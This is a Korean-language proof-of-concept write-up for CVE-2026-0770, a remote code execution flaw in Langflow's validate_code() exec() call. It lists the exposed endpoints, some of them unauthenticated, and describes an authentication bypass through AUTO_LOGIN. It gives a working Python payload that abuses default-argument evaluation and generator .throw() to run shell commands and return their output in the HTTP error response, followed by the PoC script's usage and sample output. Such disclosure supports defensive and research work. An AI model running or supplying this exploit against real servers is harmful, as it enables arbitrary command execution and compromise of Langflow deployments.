
# CVE-2026-0770 개념 증명 - Langflow 원격 코드 실행
Langflow에는 src/lfx/src/lfx/custom/validate.py에 위치한 validate_code() 함수에 치명적인 원격 코드 실행 취약점이 존재합니다. 이 함수는 샌드박싱 없이 사용자가 제공한 Python 코드를 실행하기 위해 exec()를 사용하므로, 서버에서 임의의 명령 실행이 가능합니다.
관련 함수 및 엔드포인트에서 유사한 취약점이 확인되었습니다:
validate_code() 함수는 사용자가 제공한 코드를 파싱하고 exec()를 사용하여 함수 정의를 실행합니다:
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- 임의 코드 실행
exec_globals 컨텍스트에는 importlib 및 Python 내장 함수에 대한 접근 권한이 포함되어 있어, 공격자가 위험한 모듈(os, subprocess, socket)을 가져와 임의의 시스템 명령을 실행할 수 있습니다.
| 엔드포인트 | 인증 | 공격 벡터 |
|---|---|---|
POST /api/v1/validate/code | 필요* | 직접 코드 제출 |
POST /api/v1/custom_component | 필요* | 컴포넌트 정의 내 코드 |
POST /api/v1/custom_component/update | 필요* | 컴포넌트 업데이트 내 코드 |
POST /api/v1/webhook/{flow_id} | 없음 | 코드 컴포넌트가 포함된 플로우 |
POST /api/v1/build_public_tmp/{flow_id}/flow | 없음 | 공개 플로우 실행 |
* AUTO_LOGIN=true(기본 구성)일 때 인증을 우회할 수 있습니다.
validate.py의 다음 함수들도 안전하지 않은 exec()를 사용합니다:
| 함수 | 라인 | 설명 |
|---|---|---|
validate_code() | 66 | 사용자 코드 검증 |
eval_function() | 140 | 함수 문자열 평가 |
execute_function() | 182 | 임의 함수 실행 |
create_function() | 227 | 코드에서 함수 생성 |
create_class() | 241-442 | prepare_global_scope() 및 build_class_constructor()를 통해 클래스 생성 |
validate_code() 함수는 함수 정의만 실행하고 함수 호출은 실행하지 않습니다. 출력을 외부로 유출하면서 코드를 실행하기 위해 Python의 기본 인자 평가 순서를 악용합니다.
핵심 포인트: 기본 인자 표현식은 함수가 호출될 때가 아니라 함수 정의 시점에 평가됩니다.
def foo(x=print("I execute immediately")):
pass
그러나 HTTP 응답을 통해 출력을 외부로 유출해야 합니다. 엔드포인트는 응답 본문에 오류를 반환하므로, 출력을 포함한 예외를 발생시켜야 합니다.
문제: raise는 표현식이 아닌 문(statement)이므로 기본 인자에서 직접 사용할 수 없습니다.
해결책: 생성기의 .throw() 메서드를 사용합니다. 이 메서드는 예외를 발생시키며 표현식입니다:
(_ for _ in ()).throw(Exception("output here"))
이 코드는 빈 생성기를 만들고 즉시 예외를 발생시킵니다. 명령 출력을 캡처하기 위해 람다와 결합합니다:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
실행 흐름:
exec()가 함수 정의를 실행합니다._=...가 즉시 평가됩니다.subprocess.run()이 명령을 실행합니다..throw()를 호출합니다.validate_code()가 이를 포착하고 응답에 오류를 반환합니다.python poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| 플래그 | 설명 |
|---|---|
-t, --target | 대상 URL (필수) |
-c, --command | 실행할 명령 (기본값: id && whoami) |
-k, --token | JWT 토큰 (선택 사항, 기본적으로 자동 로그인 사용) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py